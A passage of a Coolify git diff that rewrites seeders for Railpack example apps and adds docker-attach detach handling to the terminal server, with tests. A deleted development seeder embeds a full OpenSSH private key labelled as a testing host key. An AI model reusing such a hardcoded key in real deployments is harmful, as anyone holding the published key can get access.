Example', - 'fqdn' => 'http://gitlab-public.127.0.0.1.sslip.io', - 'git_repository' => 'https://gitlab.com/andrasbacsai/coolify-examples.git', - 'base_directory' => '/astro/static', - 'publish_directory' => '/dist', - 'git_branch' => 'main', - 'build_pack' => 'nixpacks', - 'ports_exposes' => '80', - 'environment_id' => 1, - 'destination_id' => 0, - 'destination_type' => StandaloneDocker::class, - 'source_id' => 1, - 'source_type' => GitlabApp::class, - ]); + + foreach (self::railpackExamples() as $example) { + $application = Application::create([ + 'uuid' => $example['uuid'], + 'name' => $example['name'], + 'fqdn' => "http://{$example['uuid']}.{$sslipHost}", + 'repository_project_id' => isset($example['git_repository']) ? null : self::EXAMPLES_REPOSITORY_PROJECT_ID, + 'git_repository' => $example['git_repository'] ?? self::EXAMPLES_REPOSITORY, + 'git_branch' => 'main', + 'base_directory' => $example['base_directory'] ?? '/', + 'publish_directory' => $example['publish_directory'] ?? null, + 'build_command' => $example['build_command'] ?? null, + 'start_command' => $example['start_command'] ?? null, + 'build_pack' => 'railpack', + 'static_image' => 'nginx:alpine', + 'ports_exposes' => $example['ports_exposes'], + 'environment_id' => 1, + 'destination_id' => 0, + 'destination_type' => StandaloneDocker::class, + 'source_id' => $example['source_id'] ?? 0, + 'source_type' => $example['source_type'] ?? GithubApp::class, + 'private_key_id' => $example['private_key_id'] ?? null, + ]); + + $application->settings->update([ + 'is_static' => $example['is_static'] ?? false, + 'is_spa' => $example['is_spa'] ?? false, + ]); + } + } + + /** + * Railpack examples from coollabsio/coolify-examples (main branch) and the deploy key / GitLab examples. + * + * @return array> + */ + public static function railpackExamples(): array + { + return [ + // JavaScript runtimes + ['uuid' => 'nodejs', 'name' => 'Node.js Fastify Example', 'base_directory' => '/javascript/runtimes/nodejs', 'ports_exposes' => '3000', 'source_id' => 1], + ['uuid' => 'bun', 'name' => 'Bun Example', 'base_directory' => '/javascript/runtimes/bun', 'ports_exposes' => '3000'], + // JavaScript frameworks (server) + ['uuid' => 'nestjs', 'name' => 'NestJS Example', 'base_directory' => '/javascript/frameworks/nestjs', 'ports_exposes' => '3000', 'start_command' => 'npm run start:prod'], + ['uuid' => 'adonisjs', 'name' => 'AdonisJS Example', 'base_directory' => '/javascript/frameworks/adonisjs/simple', 'ports_exposes' => '3333'], + ['uuid' => 'remix', 'name' => 'Remix Example', 'base_directory' => '/javascript/frameworks/remix', 'ports_exposes' => '3000'], + ['uuid' => 'nextjs-ssr', 'name' => 'Next.js SSR Example', 'base_directory' => '/javascript/frameworks/nextjs/ssr', 'ports_exposes' => '3000'], + ['uuid' => 'nuxt-server', 'name' => 'Nuxt Server Example', 'base_directory' => '/javascript/frameworks/nuxt/server', 'ports_exposes' => '3000'], + ['uuid' => 'nuxt-nitro', 'name' => 'Nuxt Nitro Example', 'base_directory' => '/javascript/frameworks/nuxt/nitro', 'ports_exposes' => '3000'], + ['uuid' => 'astro-server', 'name' => 'Astro Server Example', 'base_directory' => '/javascript/frameworks/astro/server', 'ports_exposes' => '4321', 'start_command' => 'HOST=0.0.0.0 node dist/server/entry.mjs'], + ['uuid' => 'vue-ssr', 'name' => 'Vue SSR Example', 'base_directory' => '/javascript/frameworks/vue/ssr', 'ports_exposes' => '3000'], + // JavaScript frameworks and build tools (static) + ['uuid' => 'nextjs-static', 'name' => 'Next.js Static Example', 'base_directory' => '/javascript/frameworks/nextjs/spa', 'ports_exposes' => '80', 'publish_directory' => '/out', 'is_static' => true], + ['uuid' => 'nuxt-static', 'name' => 'Nuxt Static Example', 'base_directory' => '/javascript/frameworks/nuxt/static', 'ports_exposes' => '80', 'build_command' => 'npm run generate', 'publish_directory' => '/.output/public', 'is_static' => true], + ['uuid' => 'astro-static', 'name' => 'Astro Static Example', 'base_directory' => '/javascript/frameworks/astro/static', 'ports_exposes' => '80', 'publish_directory' => '/dist', 'is_static' => true], + ['uuid' => 'vue-spa', 'name' => 'Vue SPA Example', 'base_directory' => '/javascript/frameworks/vue/spa', 'ports_exposes' => '80', 'publish_directory' => '/dist', 'is_static' => true, 'is_spa' => true], + ['uuid' => 'vue-spa-router', 'name' => 'Vue SPA Router Example', 'base_directory' => '/javascript/frameworks/vue/spa-router', 'ports_exposes' => '80', 'publish_directory' => '/dist', 'is_static' => true, 'is_spa' => true], + ['uuid' => 'vite-vanilla-js', 'name' => 'Vite Vanilla JS Example', 'base_directory' => '/javascript/build-tools/vite/vanilla-js', 'ports_exposes' => '80', 'publish_directory' => '/dist', 'is_static' => true], + ['uuid' => 'vite-vanilla-ts', 'name' => 'Vite Vanilla TS Example', 'base_directory' => '/javascript/build-tools/vite/vanilla-ts', 'ports_exposes' => '80', 'publish_directory' => '/dist', 'is_static' => true], + ['uuid' => 'static', 'name' => 'Static HTML Example', 'base_directory' => '/static', 'ports_exposes' => '80', 'publish_directory' => '/', 'is_static' => true], + // PHP + ['uuid' => 'laravel', 'name' => 'Laravel Example', 'base_directory' => '/php/laravel', 'ports_exposes' => '80'], + ['uuid' => 'laravel-pure', 'name' => 'Laravel Pure Example', 'base_directory' => '/php/laravel-pure', 'ports_exposes' => '80'], + ['uuid' => 'laravel-inertia', 'name' => 'Laravel Inertia Example', 'base_directory' => '/php/laravel-inertia', 'ports_exposes' => '80'], + ['uuid' => 'symfony', 'name' => 'Symfony Example', 'base_directory' => '/php/symfony', 'ports_exposes' => '80'], + // Other languages + ['uuid' => 'python-flask', 'name' => 'Python Flask Example', 'base_directory' => '/python/flask', 'ports_exposes' => '5000', 'start_command' => 'flask run --host=0.0.0.0 --port=5000'], + ['uuid' => 'go-gin', 'name' => 'Go Gin Example', 'base_directory' => '/go/gin', 'ports_exposes' => '3000'], + ['uuid' => 'rust-rocket', 'name' => 'Rust Rocket Example', 'base_directory' => '/rust/rocket', 'ports_exposes' => '8000'], + ['uuid' => 'ruby-rails', 'name' => 'Ruby on Rails Example', 'base_directory' => '/ruby/rails', 'ports_exposes' => '3000'], + ['uuid' => 'elixir-phoenix', 'name' => 'Elixir Phoenix Example', 'base_directory' => '/elixir/phoenix', 'ports_exposes' => '4000'], + // Deploy keys and GitLab + ['uuid' => 'github-deploy-key', 'name' => 'GitHub Deploy Key Example', 'git_repository' => 'git@github.com:coollabsio/coolify-examples-deploy-key.git', 'ports_exposes' => '80', 'private_key_id' => 1], + ['uuid' => 'gitlab-deploy-key', 'name' => 'GitLab Deploy Key Example', 'git_repository' => 'git@gitlab.com:coollabsio/php-example.git', 'ports_exposes' => '80', 'source_id' => 1, 'source_type' => GitlabApp::class, 'private_key_id' => 1], + ['uuid' => 'gitlab-public-example', 'name' => 'GitLab Public Example', 'git_repository' => 'https://gitlab.com/andrasbacsai/coolify-examples.git', 'base_directory' => '/astro/static', 'ports_exposes' => '80', 'publish_directory' => '/dist', 'source_id' => 1, 'source_type' => GitlabApp::class, 'is_static' => true], + ]; } } diff --git a/database/seeders/ApplicationSettingsSeeder.php b/database/seeders/ApplicationSettingsSeeder.php index 87236df8a9..8e439fd169 100644 --- a/database/seeders/ApplicationSettingsSeeder.php +++ b/database/seeders/ApplicationSettingsSeeder.php @@ -15,12 +15,5 @@ class ApplicationSettingsSeeder extends Seeder $application_1 = Application::find(1)->load(['settings']); $application_1->settings->is_debug_enabled = false; $application_1->settings->save(); - - $gitlabPublic = Application::where('uuid', 'gitlab-public-example')->first(); - if ($gitlabPublic) { - $gitlabPublic->load(['settings']); - $gitlabPublic->settings->is_static = true; - $gitlabPublic->settings->save(); - } } } diff --git a/database/seeders/DatabaseSeeder.php b/database/seeders/DatabaseSeeder.php index 4f5c4431a7..57ccab4aea 100644 --- a/database/seeders/DatabaseSeeder.php +++ b/database/seeders/DatabaseSeeder.php @@ -31,11 +31,5 @@ class DatabaseSeeder extends Seeder CaSslCertSeeder::class, PersonalAccessTokenSeeder::class, ]); - - if (in_array(config('app.env'), ['local', 'development', 'dev'], true)) { - $this->call([ - DevelopmentRailpackExamplesSeeder::class, - ]); - } } } diff --git a/database/seeders/DevelopmentRailpackExamplesSeeder.php b/database/seeders/DevelopmentRailpackExamplesSeeder.php deleted file mode 100644 index fa5d281ab8..0000000000 --- a/database/seeders/DevelopmentRailpackExamplesSeeder.php +++ /dev/null @@ -1,604 +0,0 @@ -isDevelopmentEnvironment()) { - $this->command?->warn('Skipping DevelopmentRailpackExamplesSeeder outside development mode.'); - - return; - } - - $this->ensureDevelopmentPrerequisitesExist(); - - if (! StandaloneDocker::query()->find(0)) { - throw new RuntimeException('StandaloneDocker with id=0 is required before running DevelopmentRailpackExamplesSeeder.'); - } - - $this->cleanupLegacyLimaProjects(); - $this->cleanupLegacyProductionExamples(); - - $this->seedEnvironment(StandaloneDocker::query()->findOrFail(0)); - } - - /** - * @return array> - */ - public static function examples(): array - { - return [ - [ - 'uuid' => 'railpack-simple-webserver', - 'name' => 'Railpack Simple Webserver Example', - 'base_directory' => '/node/simple-webserver', - 'ports_exposes' => '3000', - 'start_command' => 'npm run start', - ], - [ - 'uuid' => 'railpack-expressjs', - 'name' => 'Railpack Express.js Example', - 'base_directory' => '/node/expressjs', - 'ports_exposes' => '3000', - 'start_command' => 'npm run start', - ], - [ - 'uuid' => 'railpack-fastify', - 'name' => 'Railpack Fastify Example', - 'base_directory' => '/node/fastify', - 'ports_exposes' => '3000', - 'start_command' => 'npm run start', - ], - [ - 'uuid' => 'railpack-nestjs', - 'name' => 'Railpack NestJS Example', - 'base_directory' => '/node/nestjs', - 'ports_exposes' => '3000', - 'build_command' => 'npm run build', - 'start_command' => 'npm run start:prod', - ], - [ - 'uuid' => 'railpack-adonisjs', - 'name' => 'Railpack AdonisJS Example', - 'base_directory' => '/node/adonisjs', - 'ports_exposes' => '3333', - 'build_command' => 'npm run build', - 'start_command' => 'npm run start', - ], - [ - 'uuid' => 'railpack-hono', - 'name' => 'Railpack Hono Example', - 'base_directory' => '/node/hono', - 'ports_exposes' => '3000', - 'build_command' => 'npm run build', - 'start_command' => 'npm run start', - ], - [ - 'uuid' => 'railpack-koa', - 'name' => 'Railpack Koa Example', - 'base_directory' => '/node/koa', - 'ports_exposes' => '3000', - 'start_command' => 'npm run start', - ], - [ - 'uuid' => 'railpack-nextjs-ssr', - 'name' => 'Railpack Next.js SSR Example', - 'base_directory' => '/node/nextjs/ssr', - 'ports_exposes' => '3000', - 'build_command' => 'npm run build', - 'start_command' => 'npm run start', - ], - [ - 'uuid' => 'railpack-nuxtjs-ssr', - 'name' => 'Railpack NuxtJS SSR Example', - 'base_directory' => '/node/nuxtjs/ssr', - 'ports_exposes' => '3000', - 'build_command' => 'npm run build', - 'start_command' => 'npm run preview -- --host 0.0.0.0 --port 3000', - ], - [ - 'uuid' => 'railpack-astro-ssr', - 'name' => 'Railpack Astro SSR Example', - 'base_directory' => '/node/astro/ssr', - 'ports_exposes' => '4321', - 'build_command' => 'npm run build', - 'start_command' => 'npm run start', - ], - [ - 'uuid' => 'railpack-sveltekit-ssr', - 'name' => 'Railpack SvelteKit SSR Example', - 'base_directory' => '/node/sveltekit/ssr', - 'ports_exposes' => '3000', - 'build_command' => 'npm run build', - 'start_command' => 'npm run start', - ], - [ - 'uuid' => 'railpack-tanstack-start-ssr', - 'name' => 'Railpack TanStack Start SSR Example', - 'base_directory' => '/node/tanstack-start/ssr', - 'ports_exposes' => '3000', - 'build_command' => 'npm run build', - 'start_command' => 'npm run start', - ], - [ - 'uuid' => 'railpack-angular-ssr', - 'name' => 'Railpack Angular SSR Example', - 'base_directory' => '/node/angular/ssr', - 'ports_exposes' => '4000', - 'build_command' => 'npm run build', - 'start_command' => 'npm run start', - ], - [ - 'uuid' => 'railpack-vue-ssr', - 'name' => 'Railpack Vue SSR Example', - 'base_directory' => '/node/vue/ssr', - 'ports_exposes' => '3000', - 'build_command' => 'npm run build', - 'start_command' => 'npm run start', - ], - [ - 'uuid' => 'railpack-qwik-ssr', - 'name' => 'Railpack Qwik SSR Example', - 'base_directory' => '/node/qwik/ssr', - 'ports_exposes' => '3000', - 'build_command' => 'npm run build', - 'start_command' => 'npm run serve', - ], - [ - 'uuid' => 'railpack-react-static', - 'name' => 'Railpack React Static Example', - 'base_directory' => '/node/react', - 'ports_exposes' => '80', - 'build_command' => 'npm run build', - 'publish_directory' => '/dist', - 'is_static' => true, - 'is_spa' => true, - ], - [ - 'uuid' => 'railpack-vite-static', - 'name' => 'Railpack Vite Static Example', - 'base_directory' => '/node/vite', - 'ports_exposes' => '80', - 'build_command' => 'npm run build', - 'publish_directory' => '/dist', - 'is_static' => true, - 'is_spa' => true, - ], - [ - 'uuid' => 'railpack-eleventy-static', - 'name' => 'Railpack Eleventy Static Example', - 'base_directory' => '/node/eleventy', - 'ports_exposes' => '80', - 'build_command' => 'npm run build', - 'publish_directory' => '/_site', - 'is_static' => true, - ], - [ - 'uuid' => 'railpack-gatsby-static', - 'name' => 'Railpack Gatsby Static Example', - 'base_directory' => '/node/gatsby', - 'ports_exposes' => '80', - 'build_command' => 'npm run build', - 'publish_directory' => '/public', - 'is_static' => true, - ], - [ - 'uuid' => 'railpack-nextjs-static', - 'name' => 'Railpack Next.js Static Example', - 'base_directory' => '/node/nextjs/static', - 'ports_exposes' => '80', - 'build_command' => 'npm run build', - 'publish_directory' => '/out', - 'is_static' => true, - 'is_spa' => true, - ], - [ - 'uuid' => 'railpack-nuxtjs-static', - 'name' => 'Railpack NuxtJS Static Example', - 'base_directory' => '/node/nuxtjs/static', - 'ports_exposes' => '80', - 'build_command' => 'npm run build', - 'publish_directory' => '/.output/public', - 'is_static' => true, - 'is_spa' => true, - ], - [ - 'uuid' => 'railpack-astro-static', - 'name' => 'Railpack Astro Static Example', - 'base_directory' => '/node/astro/static', - 'ports_exposes' => '80', - 'build_command' => 'npm run build', - 'publish_directory' => '/dist', - 'is_static' => true, - ], - [ - 'uuid' => 'railpack-sveltekit-static', - 'name' => 'Railpack SvelteKit Static Example', - 'base_directory' => '/node/sveltekit/static', - 'ports_exposes' => '80', - 'build_command' => 'npm run build', - 'publish_directory' => '/build', - 'is_static' => true, - 'is_spa' => true, - ], - [ - 'uuid' => 'railpack-tanstack-start-static', - 'name' => 'Railpack TanStack Start Static Example', - 'base_directory' => '/node/tanstack-start/static', - 'ports_exposes' => '80', - 'build_command' => 'npm run build', - 'publish_directory' => '/.output/public', - 'is_static' => true, - 'is_spa' => true, - ], - [ - 'uuid' => 'railpack-angular-static', - 'name' => 'Railpack Angular Static Example', - 'base_directory' => '/node/angular/static', - 'ports_exposes' => '80', - 'build_command' => 'npm run build', - 'publish_directory' => '/dist/static/browser', - 'is_static' => true, - 'is_spa' => true, - ], - [ - 'uuid' => 'railpack-vue-static', - 'name' => 'Railpack Vue Static Example', - 'base_directory' => '/node/vue/static', - 'ports_exposes' => '80', - 'build_command' => 'npm run build', - 'publish_directory' => '/dist', - 'is_static' => true, - 'is_spa' => true, - ], - [ - 'uuid' => 'railpack-qwik-static', - 'name' => 'Railpack Qwik Static Example', - 'base_directory' => '/node/qwik/static', - 'ports_exposes' => '80', - 'build_command' => 'npm run build', - 'publish_directory' => '/dist', - 'is_static' => true, - 'is_spa' => true, - ], - // Multi-language examples on the main branch. - [ - 'uuid' => 'railpack-python-flask', - 'name' => 'Railpack Python Flask Example', - 'base_directory' => '/flask', - 'ports_exposes' => '5000', - 'git_branch' => 'main', - 'start_command' => 'flask run --host=0.0.0.0 --port=5000', - ], - [ - 'uuid' => 'railpack-go-gin', - 'name' => 'Railpack Go Gin Example', - 'base_directory' => '/go/gin', - 'ports_exposes' => '3000', - 'git_branch' => 'main', - ], - [ - 'uuid' => 'railpack-rust', - 'name' => 'Railpack Rust Example', - 'base_directory' => '/rust', - 'ports_exposes' => '8000', - 'git_branch' => 'main', - ], - [ - 'uuid' => 'railpack-laravel', - 'name' => 'Railpack Laravel Example', - 'base_directory' => '/laravel', - 'ports_exposes' => '80', - 'git_branch' => 'main', - ], - [ - 'uuid' => 'railpack-laravel-pure', - 'name' => 'Railpack Laravel Pure Example', - 'base_directory' => '/laravel-pure', - 'ports_exposes' => '80', - 'git_branch' => 'main', - ], - [ - 'uuid' => 'railpack-laravel-inertia', - 'name' => 'Railpack Laravel Inertia Example', - 'base_directory' => '/laravel-inertia', - 'ports_exposes' => '80', - 'git_branch' => 'main', - ], - [ - 'uuid' => 'railpack-symfony', - 'name' => 'Railpack Symfony Example', - 'base_directory' => '/symfony', - 'ports_exposes' => '80', - 'git_branch' => 'main', - ], - [ - 'uuid' => 'railpack-rails', - 'name' => 'Railpack Ruby on Rails Example', - 'base_directory' => '/rails-example', - 'ports_exposes' => '3000', - 'git_branch' => 'main', - ], - [ - 'uuid' => 'railpack-elixir-phoenix', - 'name' => 'Railpack Elixir Phoenix Example', - 'base_directory' => '/elixir-phoenix', - 'ports_exposes' => '4000', - 'git_branch' => 'main', - ], - [ - 'uuid' => 'railpack-bun', - 'name' => 'Railpack Bun Example', - 'base_directory' => '/bun', - 'ports_exposes' => '3000', - 'git_branch' => 'main', - ], - [ - 'uuid' => 'railpack-github-deploy-key', - 'name' => 'Railpack GitHub Deploy Key Example', - 'git_repository' => 'git@github.com:coollabsio/coolify-examples-deploy-key.git', - 'git_branch' => 'main', - 'ports_exposes' => '80', - 'private_key_id' => 1, - ], - [ - 'uuid' => 'railpack-gitlab-deploy-key', - 'name' => 'Railpack GitLab Deploy Key Example', - 'git_repository' => 'git@gitlab.com:coollabsio/php-example.git', - 'git_branch' => 'main', - 'ports_exposes' => '80', - 'source_id' => 1, - 'source_type' => GitlabApp::class, - 'private_key_id' => 1, - ], - [ - 'uuid' => 'railpack-gitlab-public-example', - 'name' => 'Railpack GitLab Public Example', - 'git_repository' => 'https://gitlab.com/andrasbacsai/coolify-examples.git', - 'git_branch' => 'main', - 'base_directory' => '/astro/static', - 'publish_directory' => '/dist', - 'ports_exposes' => '80', - 'source_id' => 1, - 'source_type' => GitlabApp::class, - 'is_static' => true, - ], - ]; - } - - private function ensureDevelopmentPrerequisitesExist(): void - { - Team::query()->firstOrCreate( - ['id' => 0], - [ - 'name' => 'Root Team', - 'description' => 'The root team', - 'personal_team' => true, - ], - ); - - PrivateKey::query()->firstOrCreate( - ['id' => 1], - [ - 'uuid' => 'ssh', - 'team_id' => 0, - 'name' => 'Testing Host Key', - 'description' => 'This is a test docker container', - 'private_key' => <<<'KEY' ------BEGIN OPENSSH PRIVATE KEY----- -b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW -QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk -hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA -AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV -uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA== ------END OPENSSH PRIVATE KEY----- -KEY, - ], - ); - - Server::query()->firstOrCreate( - ['id' => 0], - [ - 'uuid' => 'localhost', - 'name' => 'localhost', - 'description' => 'This is a test docker container in development mode', - 'ip' => 'coolify-testing-host', - 'team_id' => 0, - 'private_key_id' => 1, - 'proxy' => [ - 'type' => ProxyTypes::TRAEFIK->value, - 'status' => ProxyStatus::EXITED->value, - ], - ], - ); - - StandaloneDocker::query()->firstOrCreate( - ['id' => 0], - [ - 'uuid' => 'docker', - 'name' => 'Standalone Docker 1', - 'network' => 'coolify', - 'server_id' => 0, - ], - ); - - $this->ensurePublicGithubSourceExists(); - $this->ensurePublicGitlabSourceExists(); - } - - private function ensurePublicGithubSourceExists(): void - { - GithubApp::query()->firstOrCreate( - ['id' => 0], - [ - 'uuid' => 'github-public', - 'name' => 'Public GitHub', - 'api_url' => 'https://api.github.com', - 'html_url' => 'https://github.com', - 'is_public' => true, - 'team_id' => 0, - ], - ); - } - - private function ensurePublicGitlabSourceExists(): void - { - GitlabApp::query()->firstOrCreate( - ['id' => 1], - [ - 'uuid' => 'gitlab-public', - 'name' => 'Public GitLab', - 'api_url' => 'https://gitlab.com/api/v4', - 'html_url' => 'https://gitlab.com', - 'is_public' => true, - 'team_id' => 0, - ], - ); - } - - private function isDevelopmentEnvironment(): bool - { - return in_array(config('app.env'), ['local', 'development', 'dev'], true); - } - - private function cleanupLegacyLimaProjects(): void - { - Project::query() - ->whereIn('uuid', [ - 'railpack-examples-lima-ubuntu-2404', - 'railpack-examples-lima-ubuntu-2604', - ]) - ->get() - ->each(function (Project $project): void { - Application::withTrashed() - ->whereIn('environment_id', $project->environments()->pluck('id')) - ->get() - ->each - ->forceDelete(); - - $project->delete(); - }); - } - - private function cleanupLegacyProductionExamples(): void - { - $project = Project::query()->where('uuid', self::PROJECT_UUID)->first(); - - if (! $project) { - return; - } - - Application::withTrashed() - ->whereIn('environment_id', $project->environments()->pluck('id')) - ->whereIn('uuid', collect(self::examples())->pluck('uuid')) - ->get() - ->each - ->forceDelete(); - } - - private function seedEnvironment(StandaloneDocker $destination): void - { - $environment = $this->prepareEnvironment(); - - foreach (self::examples() as $example) { - $this->upsertApplication($environment, $destination, $example); - } - } - - private function prepareEnvironment(): Environment - { - $project = Project::query()->firstOrNew(['uuid' => self::PROJECT_UUID]); - $project->fill([ - 'name' => 'Railpack Examples', - 'description' => 'Development-only Railpack examples from coollabsio/coolify-examples@next.', - 'team_id' => 0, - ]); - $project->save(); - - $environment = $project->environments()->firstOrCreate(['name' => 'production']); - - $project->environments() - ->whereKeyNot($environment->id) - ->get() - ->each(function (Environment $obsoleteEnvironment): void { - Application::withTrashed() - ->where('environment_id', $obsoleteEnvironment->id) - ->get() - ->each - ->forceDelete(); - - $obsoleteEnvironment->delete(); - }); - - return $environment; - } - - /** - * @param array $example - */ - private function upsertApplication(Environment $environment, StandaloneDocker $destination, array $example): void - { - $uuid = $example['uuid']; - $name = $example['name']; - $application = Application::withTrashed()->firstOrNew(['uuid' => $uuid]); - $application->fill([ - 'name' => $name, - 'description' => $name, - 'fqdn' => "http://{$uuid}.127.0.0.1.sslip.io", - 'repository_project_id' => $example['repository_project_id'] ?? self::REPOSITORY_PROJECT_ID, - 'git_repository' => $example['git_repository'] ?? self::GIT_REPOSITORY, - 'git_branch' => $example['git_branch'] ?? self::GIT_BRANCH, - 'build_pack' => 'railpack', - 'ports_exposes' => $example['ports_exposes'], - 'base_directory' => $example['base_directory'] ?? '/', - 'publish_directory' => $example['publish_directory'] ?? null, - 'static_image' => 'nginx:alpine', - 'install_command' => $example['install_command'] ?? null, - 'build_command' => $example['build_command'] ?? null, - 'start_command' => $example['start_command'] ?? null, - 'environment_id' => $environment->id, - 'destination_id' => $destination->id, - 'destination_type' => StandaloneDocker::class, - 'source_id' => $example['source_id'] ?? 0, - 'source_type' => $example['source_type'] ?? GithubApp::class, - 'private_key_id' => $example['private_key_id'] ?? null, - ]); - $application->save(); - - if ($application->trashed()) { - $application->restore(); - } - - $application->settings()->updateOrCreate( - ['application_id' => $application->id], - [ - 'is_static' => $example['is_static'] ?? false, - 'is_spa' => $example['is_spa'] ?? false, - ], - ); - } -} diff --git a/database/seeders/ProductionSeeder.php b/database/seeders/ProductionSeeder.php index 4d492a2973..f1c1848b53 100644 --- a/database/seeders/ProductionSeeder.php +++ b/database/seeders/ProductionSeeder.php @@ -219,6 +219,5 @@ uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA== $this->call(PopulateSshKeysDirectorySeeder::class); $this->call(SentinelSeeder::class); $this->call(RootUserSeeder::class); - $this->call(CaSslCertSeeder::class); } } diff --git a/database/seeders/ServerSettingSeeder.php b/database/seeders/ServerSettingSeeder.php index af4a2694b6..5e9c999f21 100644 --- a/database/seeders/ServerSettingSeeder.php +++ b/database/seeders/ServerSettingSeeder.php @@ -4,6 +4,7 @@ namespace Database\Seeders; use App\Models\Server; use Illuminate\Database\Seeder; +use InvalidArgumentException; class ServerSettingSeeder extends Seeder { @@ -13,10 +14,24 @@ class ServerSettingSeeder extends Seeder public function run(): void { $server_2 = Server::find(0)->load(['settings']); - $server_2->settings->wildcard_domain = 'http://127.0.0.1.sslip.io'; + $server_2->settings->wildcard_domain = 'http://'.self::sslipHost(); $server_2->settings->is_build_server = false; $server_2->settings->is_usable = true; $server_2->settings->is_reachable = true; $server_2->settings->save(); } + + /** + * The sslip.io host for seeded domains, based on DEV_SEED_IP (default 127.0.0.1). + */ + public static function sslipHost(): string + { + $ip = config('constants.coolify.dev_seed_ip'); + + if (! filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) { + throw new InvalidArgumentException("DEV_SEED_IP must be an IPv4 address, got: {$ip}"); + } + + return "{$ip}.sslip.io"; + } } diff --git a/docker/coolify-terminal/terminal-server.js b/docker/coolify-terminal/terminal-server.js index 394cf5277d..b5675e53af 100755 --- a/docker/coolify-terminal/terminal-server.js +++ b/docker/coolify-terminal/terminal-server.js @@ -11,8 +11,10 @@ import { extractSshArgs, extractTargetHost, extractTimeout, + detachPtyProcess, getTerminalProcessEnv, getTerminalSessionTimeout, + isAttachCommand, isAuthorizedTargetHost, rejectTerminalSocket, sanitizeSshArgs, @@ -423,10 +425,13 @@ async function handleCommand(ws, command, userId) { userSession.ptyProcess = ptyProcess; userSession.isActive = true; + // Attach sessions share the container's main process, so they must be detached, not killed. + userSession.isAttach = isAttachCommand(hereDocContent); ws.send('pty-ready'); ptyProcess.onData((data) => { + if (userSession.ptyProcess !== ptyProcess) return; ws.send(data); }); @@ -437,6 +442,14 @@ async function handleCommand(ws, command, userId) { exitCode, signal, }); + + // A previous PTY can exit late (e.g. an attach session detaching during a mode + // switch) after its replacement is already spawned. Only mutate the shared session + // state when this exit belongs to the session's current PTY. + if (userSession.ptyProcess !== ptyProcess) { + return; + } + ws.send('pty-exited'); userSession.isActive = false; @@ -503,6 +516,10 @@ async function killPtyProcess(userId) { const session = userSessions.get(userId); if (!session?.ptyProcess) return false; + if (session.isAttach) { + return detachPtyProcess(session); + } + return new Promise((resolve) => { // Loop to ensure terminal is killed before continuing let killAttempts = 0; diff --git a/docker/coolify-terminal/terminal-utils.js b/docker/coolify-terminal/terminal-utils.js index a1207b028a..6acb9645a6 100644 --- a/docker/coolify-terminal/terminal-utils.js +++ b/docker/coolify-terminal/terminal-utils.js @@ -138,6 +138,12 @@ export function extractTimeout(commandString) { return timeoutMatch ? parseInt(timeoutMatch[1], 10) : null; } +// A `docker attach` session shares the container's main process. On disconnect we +// must detach from it instead of killing it, otherwise we stop the running app. +export function isAttachCommand(commandString) { + return /(?:^|\s)docker\s+attach(?:\s|$)/.test(commandString || ''); +} + function normalizeShellArgument(argument) { if (!argument) { return argument; @@ -393,3 +399,53 @@ export function sanitizeSshArgs(sshArgs) { return sanitizedArgs; } + +// Wait for this PTY to exit, not for mutable session state to change. +export function detachPtyProcess(session) { + const ptyProcess = session.ptyProcess; + if (!ptyProcess || !session.isActive) return Promise.resolve(true); + + return new Promise((resolve) => { + let timer; + let attempts = 0; + let settled = false; + const finish = (exited) => { + if (settled) return; + settled = true; + clearTimeout(timer); + exitListener.dispose(); + if (exited && session.ptyProcess === ptyProcess) { + session.isActive = false; + session.ptyProcess = null; + clearTimeout(session.terminalSessionTimer); + session.terminalSessionTimer = null; + } + resolve(exited); + }; + const exitListener = ptyProcess.onExit(() => finish(true)); + const attemptDetach = () => { + attempts++; + try { + ptyProcess.write('\x10\x11'); + } catch (_) { + // An exit event is still required to confirm teardown. + } + if (settled) return; + timer = setTimeout(() => { + if (attempts < 3) { + attemptDetach(); + return; + } + // --sig-proxy=false prevents forwarding signals to the container. + // Refuse a replacement if killing the local SSH client does not exit. + timer = setTimeout(() => finish(false), 1000); + try { + ptyProcess.kill(); + } catch (_) { + // The bounded exit wait fails closed. + } + }, 500); + }; + attemptDetach(); + }); +} diff --git a/docker/coolify-terminal/terminal-utils.test.js b/docker/coolify-terminal/terminal-utils.test.js index fd6297fad4..b00dfa7d9f 100644 --- a/docker/coolify-terminal/terminal-utils.test.js +++ b/docker/coolify-terminal/terminal-utils.test.js @@ -9,6 +9,8 @@ import { extractTargetHost, getTerminalProcessEnv, getTerminalSessionTimeout, + isAttachCommand, + detachPtyProcess, isAuthorizedTargetHost, normalizeHostForAuthorization, rejectTerminalSocket, @@ -16,6 +18,16 @@ import { validateSshArgs, } from './terminal-utils.js'; +test('isAttachCommand detects a docker attach session', () => { + assert.equal(isAttachCommand('docker attach --detach-keys="ctrl-p,ctrl-q" --sig-proxy=false \'minecraft\''), true); + assert.equal(isAttachCommand('sudo docker attach --sig-proxy=false \'minecraft\''), true); +}); + +test('isAttachCommand does not match a docker exec shell session', () => { + assert.equal(isAttachCommand("docker exec -it 'web-1' sh -c 'exec $SHELL'"), false); + assert.equal(isAttachCommand(''), false); +}); + test('getTerminalProcessEnv preserves the PATH needed by SSH proxy commands', () => { assert.deepEqual(getTerminalProcessEnv({ PATH: '/usr/local/bin:/usr/bin:/bin', @@ -458,3 +470,63 @@ test('rejectTerminalSocket handles socket errors so unauthenticated clients cann assert.equal(ws.terminated, true); ws.peerClosed(); }); + +function attachSession() { + const listeners = new Set(); + const process = { + writes: [], + kills: 0, + write(data) { this.writes.push(data); }, + kill() { this.kills++; }, + onExit(listener) { + listeners.add(listener); + return { dispose: () => listeners.delete(listener) }; + }, + exit() { for (const listener of [...listeners]) listener({ exitCode: 0 }); }, + }; + return { ptyProcess: process, isActive: true, terminalSessionTimer: null }; +} + +test('attach teardown waits for delayed exit after the kill fallback', async (t) => { + t.mock.timers.enable({ apis: ['setTimeout'] }); + const session = attachSession(); + const process = session.ptyProcess; + let resolved = 